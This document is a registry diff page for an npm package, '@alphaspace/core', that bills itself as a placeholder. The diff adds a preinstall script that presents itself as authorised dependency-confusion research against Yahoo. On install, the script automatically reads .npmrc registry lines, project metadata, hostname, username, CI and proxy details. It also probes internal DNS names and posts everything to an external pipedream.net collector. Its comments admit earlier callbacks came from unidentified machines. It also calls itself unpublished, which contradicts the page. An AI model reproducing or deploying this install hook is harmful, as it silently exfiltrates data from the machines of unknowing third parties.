@alphaspace/core 99.0.0 → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +196 -73
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alphaspace/core",
3
- "version": "99.0.0",
3
+ "version": "99.0.1",
4
4
  "description": "Placeholder package. Reserved namespace.",
5
5
  "license": "MIT",
6
6
  "main": "index.js",
package/preinstall.js CHANGED
@@ -1,98 +1,221 @@
1
1
  /*
2
- * Dependency-confusion proof-of-concept — authorised security research.
3
- * Yahoo Bug Bounty via Intigriti. Researcher: mlitchfield.
2
+ * @alphaspace/core - authorised security research proof-of-concept
3
+ * ================================================================
4
+ * Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
4
5
  *
5
- * WHAT THIS DOES, in full, with nothing omitted:
6
- * 1. prints an identifying banner to the install log
7
- * 2. sends ONE HTTPS POST reporting that it was installed, and from where
8
- * 3. exits 0, always
6
+ * PROPOSED v99.0.1. NOT PUBLISHED. Awaiting operator review.
9
7
  *
10
- * WHAT IT DELIBERATELY DOES NOT DO:
11
- * - it does not read process.env beyond the two npm-set lifecycle variables named below
12
- * (npm_config_registry, npm_package_name). No credentials, no secrets, no token scraping.
13
- * - it does not read, write or delete any file
14
- * - it does not spawn a shell or any child process
15
- * - it does not persist, schedule or install anything
16
- * - it cannot fail a build: every path is wrapped, the socket has a 3s cap, and the exit code
17
- * is always 0 even on error
8
+ * WHY THIS VERSION EXISTS
9
+ * v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
10
+ * generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
11
+ * public cloud, so a source IP can neither confirm nor exclude them. This version stops
12
+ * relying on the IP and instead collects fields that only a Yahoo build environment
13
+ * would produce.
18
14
  *
19
- * Why npm_config_registry is included: it is the single field that answers the question this PoC
20
- * exists to settle — which registry the install was actually configured against. It is set by npm
21
- * itself and contains no secret.
15
+ * WHAT IT DOES
16
+ * - prints an attribution banner identifying itself as authorised research
17
+ * - makes ONE outbound HTTPS POST to a collector under the researcher's control
18
+ * - performs up to 3 DNS NAME LOOKUPS (no connection, no data sent) purely to test
19
+ * whether the host resolves Yahoo-internal-only names
20
+ *
21
+ * WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
22
+ * - NO dump of process.env. Only a fixed allowlist of named variables is read.
23
+ * - NO credentials of any kind. Every .npmrc line containing _auth / token /
24
+ * password / certfile / keyfile is dropped before parsing, and no value from an
25
+ * auth-shaped variable is ever transmitted.
26
+ * - NO file contents, except exactly two string fields (name, version) from the
27
+ * consuming project's package.json. Not its dependencies.
28
+ * - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
29
+ * - NO command execution, no child processes, no persistence, no file writes.
30
+ * - NO connection to the internal hostnames probed - DNS resolution only.
31
+ *
32
+ * It exits 0 unconditionally. It cannot break an install.
22
33
  */
23
34
 
24
- const https = require("https");
25
- const os = require("os");
26
-
27
- const ENDPOINT = "https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net";
28
- const RUN_ID = Math.random().toString(16).slice(2, 10);
29
-
30
- function banner() {
31
- const L = [
32
- "",
33
- " ─────────────────────────────────────────────────────────────────────────",
34
- " @alphaspace/core — AUTHORISED SECURITY RESEARCH, NOT A REAL PACKAGE",
35
- "",
36
- " This is a dependency-confusion proof-of-concept published as part of the",
37
- " Yahoo Bug Bounty programme on Intigriti by researcher mlitchfield.",
38
- "",
39
- " If you are seeing this in a build log, that build resolved a PRIVATE package",
40
- " name from the PUBLIC npm registry. That is the issue being reported.",
41
- "",
42
- " This package reads no secrets, touches no files, runs no commands and cannot",
43
- " fail your build. It reports only: hostname, username, working directory,",
44
- " platform and the configured registry URL.",
45
- "",
46
- " run-id: " + RUN_ID,
47
- " Contact the Yahoo security team, referencing the @alphaspace dependency-",
48
- " confusion report, to have this package removed.",
49
- " ─────────────────────────────────────────────────────────────────────────",
50
- "",
51
- ];
52
- try { console.log(L.join("\n")); } catch (e) { /* never fatal */ }
35
+ 'use strict';
36
+
37
+ const https = require('https');
38
+ const dns = require('dns');
39
+ const os = require('os');
40
+ const fs = require('fs');
41
+ const path = require('path');
42
+
43
+ const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
44
+ const MARKER = 'yahoo-bbp-alphaspace-depconfusion';
45
+ const RUN_ID = Math.random().toString(16).slice(2, 10);
46
+
47
+ console.log('');
48
+ console.log(' @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
49
+ console.log(' Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
50
+ console.log(' This package is a namespace-reservation PoC. It contains no exploit');
51
+ console.log(' code and takes no action on this machine beyond reporting that an');
52
+ console.log(' install occurred. Contact the researcher to have it removed.');
53
+ console.log(' run id: ' + RUN_ID + ' | ' + new Date().toISOString());
54
+ console.log('');
55
+
56
+ // ---------------------------------------------------------------- helpers
57
+
58
+ // Return only the hostname of a URL-valued setting. Never the full URL, which could
59
+ // carry a token in userinfo or a query string.
60
+ function hostOnly(v) {
61
+ if (!v || typeof v !== 'string') return null;
62
+ try { return new URL(v).host; } catch (e) {
63
+ const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
64
+ return m ? m[1] : null;
65
+ }
66
+ }
67
+
68
+ const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
69
+
70
+ // Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
71
+ // dropped before it is even inspected. This is the highest-value attribution field:
72
+ // a registry host under ouryahoo.com is definitive, single-field attribution.
73
+ function registryConfig() {
74
+ const out = {};
75
+ const files = [];
76
+ try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
77
+ try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
78
+ try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
79
+ for (const f of files) {
80
+ let txt = '';
81
+ try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
82
+ for (const line of txt.split(/\r?\n/)) {
83
+ if (SECRET_RE.test(line)) continue; // drop credential lines outright
84
+ const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
85
+ if (m) out[m[1]] = hostOnly(m[2]) || m[2]; // host only, never the full URL
86
+ }
87
+ }
88
+ return Object.keys(out).length ? out : null;
89
+ }
90
+
91
+ // Consuming project identity: two string fields, nothing else.
92
+ function consumerPackage() {
93
+ const root = process.env.INIT_CWD;
94
+ if (!root) return null;
95
+ try {
96
+ const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
97
+ return { name: typeof j.name === 'string' ? j.name : null,
98
+ version: typeof j.version === 'string' ? j.version : null };
99
+ } catch (e) { return null; }
100
+ }
101
+
102
+ // CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
103
+ // SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
104
+ // strong Yahoo indicator on its own.
105
+ function ciFingerprint() {
106
+ const e = process.env;
107
+ const present = [];
108
+ for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
109
+ 'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
110
+ 'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
111
+ if (e[k] !== undefined) present.push(k); // NAME only, value never read
112
+ }
113
+ return {
114
+ vars_present: present,
115
+ sd_api_host: hostOnly(e.SD_API_URL),
116
+ sd_ui_host: hostOnly(e.SD_UI_URL),
117
+ jenkins_host: hostOnly(e.JENKINS_URL),
118
+ github_server: hostOnly(e.GITHUB_SERVER_URL),
119
+ github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
120
+ };
121
+ }
122
+
123
+ function proxyFingerprint() {
124
+ const e = process.env;
125
+ return {
126
+ npm_proxy: hostOnly(e.npm_config_proxy),
127
+ npm_https: hostOnly(e.npm_config_https_proxy),
128
+ http_proxy: hostOnly(e.HTTP_PROXY || e.http_proxy),
129
+ https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
130
+ no_proxy: typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
131
+ };
53
132
  }
54
133
 
55
- function report() {
134
+ // DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
135
+ // internet (verified 2026-09-25), so a successful resolution means the host is using
136
+ // an internal resolver that knows Yahoo-private zones. We record a boolean per name.
137
+ // No address is transmitted and NO CONNECTION is made to any of them.
138
+ const INTERNAL_PROBES = [
139
+ 'istio-system.prod1-gq1.omega.yahoo.com',
140
+ 'jws300162.mail.gq1.yahoo.com',
141
+ 'artifactory.ouryahoo.com'
142
+ ];
143
+
144
+ function probeInternalDns(cb) {
145
+ const res = {};
146
+ let left = INTERNAL_PROBES.length;
147
+ if (!left) return cb(res);
148
+ const done = () => { if (--left === 0) cb(res); };
149
+ const timer = setTimeout(() => { left = 1; done(); }, 2500); // never hold up the install
150
+ timer.unref && timer.unref();
151
+ for (const name of INTERNAL_PROBES) {
152
+ try {
153
+ dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
154
+ } catch (e) { res[name] = null; done(); }
155
+ }
156
+ }
157
+
158
+ // ---------------------------------------------------------------- report
159
+
160
+ probeInternalDns(function (internalDns) {
56
161
  let payload;
57
162
  try {
58
163
  payload = JSON.stringify({
59
- poc: "yahoo-bbp-alphaspace-depconfusion",
60
- researcher: "mlitchfield",
164
+ poc: MARKER,
165
+ researcher: 'mlitchfield',
166
+ schema: 'v99.0.1',
61
167
  run_id: RUN_ID,
62
168
  ts_utc: new Date().toISOString(),
169
+
170
+ // identity of the machine
63
171
  hostname: os.hostname(),
64
172
  username: (os.userInfo && os.userInfo().username) || null,
65
- cwd: process.cwd(),
66
- pkg: "@alphaspace/core",
67
- pkg_version: "99.0.0",
68
- npm_package_name: process.env.npm_package_name || null,
69
- npm_config_registry: process.env.npm_config_registry || null,
70
173
  platform: process.platform,
71
174
  arch: process.arch,
72
175
  node: process.version,
176
+
177
+ // WHERE npm was actually invoked - the consuming project root, not our own dir.
178
+ // This is the field v99.0.0 was missing.
179
+ init_cwd: process.env.INIT_CWD || null,
180
+ cwd: process.cwd(),
181
+
182
+ // WHO installed us
183
+ consumer_package: consumerPackage(),
184
+
185
+ // the single most decisive field: a registry host under ouryahoo.com is definitive
186
+ registry_config: registryConfig(),
187
+ npm_config_registry: process.env.npm_config_registry || null,
188
+ npm_user_agent: process.env.npm_config_user_agent || null,
189
+
190
+ ci: ciFingerprint(),
191
+ proxy: proxyFingerprint(),
192
+
193
+ // boolean per name; proves an internal resolver without contacting anything
194
+ internal_dns: internalDns,
195
+
196
+ pkg: '@alphaspace/core',
197
+ pkg_version: '99.0.1'
73
198
  });
74
- } catch (e) { return; }
199
+ } catch (e) {
200
+ payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
201
+ }
75
202
 
76
203
  try {
77
- const req = https.request(
78
- ENDPOINT,
79
- {
80
- method: "POST",
81
- timeout: 3000,
82
- headers: {
83
- "Content-Type": "application/json",
84
- "Content-Length": Buffer.byteLength(payload),
85
- "User-Agent": "alphaspace-depconfusion-poc/99.0.0 (yahoo-bbp; mlitchfield)",
86
- },
87
- },
88
- (res) => { res.resume(); }
89
- );
90
- req.on("error", () => {});
91
- req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
204
+ const u = new URL(ENDPOINT);
205
+ const req = https.request({
206
+ hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
207
+ timeout: 3000,
208
+ headers: {
209
+ 'content-type': 'application/json',
210
+ 'content-length': Buffer.byteLength(payload),
211
+ 'user-agent': 'alphaspace-depconfusion-poc/99.0.1 (yahoo-bbp; mlitchfield)'
212
+ }
213
+ }, function (res) { res.resume(); });
214
+ req.on('error', function () {});
215
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
92
216
  req.write(payload);
93
217
  req.end();
94
- } catch (e) { /* never fatal */ }
95
- }
218
+ } catch (e) { /* never fail an install */ }
219
+ });
96
220
 
97
- try { banner(); report(); } catch (e) { /* never fatal */ }
98
221
  process.exitCode = 0;